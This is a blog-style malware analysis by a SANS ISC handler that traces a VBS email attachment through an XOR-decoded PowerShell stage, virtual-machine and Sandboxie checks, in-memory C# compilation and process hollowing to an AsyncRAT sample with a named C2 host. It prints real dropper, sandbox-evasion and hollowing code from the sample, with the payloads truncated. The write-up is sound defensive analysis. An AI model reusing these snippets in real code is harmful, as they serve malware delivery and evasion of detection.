From VBS, PowerShell, C Sharp, Process Hollowing to RAT
VBS files are interesting to deliver malicious content to a victim's computer because they look like simple text files. I found an interesting sample that behaves like a dropper. But it looks also like Russian dolls seeing all the techniques used to drop a RAT at the end. The file hash is 8697dc74d7c07583f24488926fc6e117975f8a9f014972073d19a5e62d248ead and has a VT score of 12/59[1]. It was delivered by email under the name "Procurement - Attached RFQ 202102.vbs". If you filter attachments based on the MIME type, this file won't be detected as suspicious:
remnux@remnux:/MalwareZoo/20210303$ file *.vbs Procurement - Attached RFQ 202102.vbs: ASCII text, with very long lines, with CRLF line terminators
When you try to open a .vbs file on a standard Windows system, it is processed by the "Microsoft ® Windows Based Script Host" handlers. Here is the code executed when you open this script:
Private Function vQ(Inp, Key, Mode) Dim z, i, Position, cptZahl, orgZahl, keyZahl, cptString For i = 1 To lEn(Inp) Position = Position + 1 If Position > lEn(Key) Then Position = 1 keyZahl = aSc(Mid(Key, Position, 1)) If Mode Then orgZahl = aSc(Mid(Inp, i, 1)) cptZahl = orgZahl Xor keyZahl cptString = hEx(cptZahl) If lEn(cptString) < 2 Then cptString = "0" & cptString z = z & cptString Else If i > lEn(Inp) \ 2 Then Exit For cptZahl = CByte("&" & "H" & Mid(Inp, i * 2 - 1, 2)) orgZahl = cptZahl Xor keyZahl z = z & cHR(orgZahl) End If Next vQ = z End Function Dim AqUhNbgAqwpMb AqUhNbgAqwpMb = "31562B0462222C4B781D323A2D1E1D4A2C4C39202E190F14112E3A1E0C432A5A454C1D392A1D1B5127260F22381E3D086E011F012E5B451B3F594B23031B217726535F5863201340205A593D28000E59003C3F173249335C144C493D4B234509370B044D5072585B17233B5F24703426190F7F363A1E2C2609173F552B09244B5C3E6C7D195D23136E015E2C501F0E5A453E314C34493D28331E507B394603242E526226063C291E0C08134726227F447D72334A3C1D3158532D3C4C7E754425390E0D7841200A0F0F03316A26505E3A413119576F141679085C2D5551445420325134502C1C1E5C0B153D131E3E41505D7303180A7F1F1F7D0E2D733E03126F215C7B794641334B58766C1A567E515B78093F0E0A540E7908027F05166B241E681C5379264B... (remaining bytes removed) Dim SH SH = cHR(80 + 7) & cHR(100 + 15) & cHR(66 + 1) & cHR(80 + 2) & cHR(110 - 5) & cHR(85 - 5) & cHR(80 + 4) & cHR(40 + 6) & cHR(230 / 2) & cHR(36 * 2) & cHR(60 + 9) & cHR(100 + 8) & cHR(70 + 6) Set WS = CreateObject(SH) Set FSO = CreateObject("Scripting.FileSystemObject") Set MyFile = FSO.CreateTextFile(FSO.GetSpecialFolder(2) + "\OS64Bits.PS1", True) MyFile.WriteLine(rEPlAcE(vQ(AqUhNbgAqwpMb, "p2O)6[\.X0sI^{p(@5wAC|/Gh]N{am}3+(rNY3]>UK|/2_YlCUfqK{hZL*.NawX9G>:x.I", False), "%VBS%", wscript.SCRIPTFULLNAME)) MyFile.Close WS.rUN "POWERSHELL -eXEcUTiONpOLicY rEmOtEsIgNeD -FILE " & FSO.GetSpecialFolder(2) + "\OS64Bits.PS1", 0
The payload is stored in AqUhNbgAqwpMb
and decoded by the vQ().
This function is an XOR-decoder using a muli-bytes key. The decoded payload is dropped on the filesystem (C:\Users\<user>\AppData\Local\Temp\OS64Bits.PS1
) and executed by PowerShell. This script looks interesting at multiple points.
First, most suspicious strings are obfuscated and binary encoded. Decoding is performed via a specific function:
Function Binary2String([String] $data) { $byteList = [System.Collections.Generic.List[Byte]]::new() for ($i = 0; $i -lt $data.Length; $i +=8) { $byteList.Add([Convert]::ToByte($data.Substring($i, 8), 2)) } return [System.Text.Encoding]::ASCII.GetString($byteList.ToArray()) }
There is a detection mechanism of virtual environments:
Function VirtualMachineDetector() { $searcher = (New-Object System.Management.ManagementObjectSearcher(Select * from Win32_ComputerSystem)) $items = $searcher.Get() $Tr = "" foreach ($item in $items) { [String] $manufacturer = $item["Manufacturer"].ToString().ToLower() if (($manufacturer -eq "microsoft corporation" -and \ $item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) -or \ $manufacturer.Contains("vmware") -or $item["Model"].ToString() -eq "VirtualBox") { $Tr = "True" } else { $Tr = "False" } } return $Tr }
Note also the presence of a function to detect Sandboxie[2], another sandbox tool that is easy to spot by tracking the DLL SbieDll.dll
:
Function DetectSandboxie() { [Int32] $i = ModuleHandle("SbieDll.dll") [String] $s = "" if ($i -eq 0) { $s = "False" } else { $s = "True" } return $s }
The most interesting function is CodeDom
. It invokes the CSharp compiler to compile the next payload:
function CodeDom([Byte[]] $BB, [String] $TP, [String] $MT) { $dictionary = new-object 'System.Collections.Generic.Dictionary[[string],[string]]' $dictionary.Add(("CompilerVersion"), ("v4.0")) $CsharpCompiler = New-Object Microsoft.CSharp.CSharpCodeProvider($dictionary) $CompilerParametres = New-Object System.CodeDom.Compiler.CompilerParameters $CompilerParametres.ReferencedAssemblies.Add(("System.dll")) $CompilerParametres.ReferencedAssemblies.Add(("System.Management.dll)) $CompilerParametres.ReferencedAssemblies.Add(("System.Windows.Forms.dll")) $CompilerParametres.ReferencedAssemblies.Add(("mscorlib.dll")) $CompilerParametres.ReferencedAssemblies.Add(("Microsoft.VisualBasic.dll")) $CompilerParametres.IncludeDebugInformation = $false $CompilerParametres.GenerateExecutable = $false $CompilerParametres.GenerateInMemory = $true $CompilerParametres.CompilerOptions += ("/platform:X86 /unsafe /target:library") $BB = Decompress($BB) [System.CodeDom.Compiler.CompilerResults] $CompilerResults = \ $CsharpCompiler.CompileAssemblyFromSource($CompilerParametres, \ [System.Text.Encoding]::Default.GetString($BB)) [Type] $T = $CompilerResults.CompiledAssembly.GetType($TP) [Byte[]] $Bytes = Decompress(@( \ 31,139,8,0,0,0,0,0,4,0,180,189,7,124,92,213,149,63,126,231,77,213,168,206,168,203,18,150,139,204,216, \ 198,178,138,37,75,6,131,213,45,219,178,213,108,75,14,193,140,164,145,52,246,72,79,158,25,201,150,13, \ 142,197,2,129,36,180,116,88,146,80,194,166,146,132,36,155,182,41,56, (bytes removed) 61,237,1,92,113,253,243,0,180,0,0)) try { [String] $MyPt = \ [System.IO.Path]::Combine([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory(),\ "InstallUtil.exe") [Object[]] $Params=@($MyPt.Replace("Framework64","Framework") ,$Bytes) return $T.GetMethod($MT).Invoke($null, $Params) } catch { } }
The CSharp code is located in the variable BB (I posted the code on Pastebin[3]). By having a look at the code, we can see a bunch of interesting API calls:
private static readonly DelegateVirtualAllocEx VirtualAllocEx = LoadApi<DelegateVirtualAllocEx>(ReverseString(Kernel32), ReverseString(VirtualAllcEx)); private static readonly DelegateWriteProcessMemory WriteProcessMemory = LoadApi<DelegateWriteProcessMemory>(ReverseString(Kernel32), ReverseString(WriteProcessMem)); private static readonly DelegateReadProcessMemory ReadProcessMemory = LoadApi<DelegateReadProcessMemory>(ReverseString(Kernel32), ReverseString(ReadProcessMem)); private static readonly DelegateZwUnmapViewOfSection ZwUnmapViewOfSection = LoadApi<DelegateZwUnmapViewOfSection>(ReverseString(ntdll), ReverseString(ZwUnmapViewOfSec)); private static readonly DelegateCreateProcessA CreateProcessA = LoadApi<DelegateCreateProcessA>(ReverseString(Kernel32), ReverseString(CreateProcA));
This clearly indicates that process hollowing is used to replace the code of a legit process with malicious code. This code is located in the variable Bytes
and is a PE file (SHA256:D452CEE94E3A2D58B05E9F62A4AA4004C0632D9B56FA8B57664D295BC88C4DF0) that tries to communicate with a C2 server located at asin8989.ddns.net on port 8989. The malware belongs to the AsyncRat[4] family.
Note: My advice to protect yourself against such malicious .vbs file is to replace the default app to open them with notepad.exe.
[1] https://www.virustotal.com/gui/file/8697dc74d7c07583f24488926fc6e117975f8a9f014972073d19a5e62d248ead/detection
[2] https://github.com/sandboxie-plus/sandboxie
[3] https://pastebin.com/cW25WEpY
[4] https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments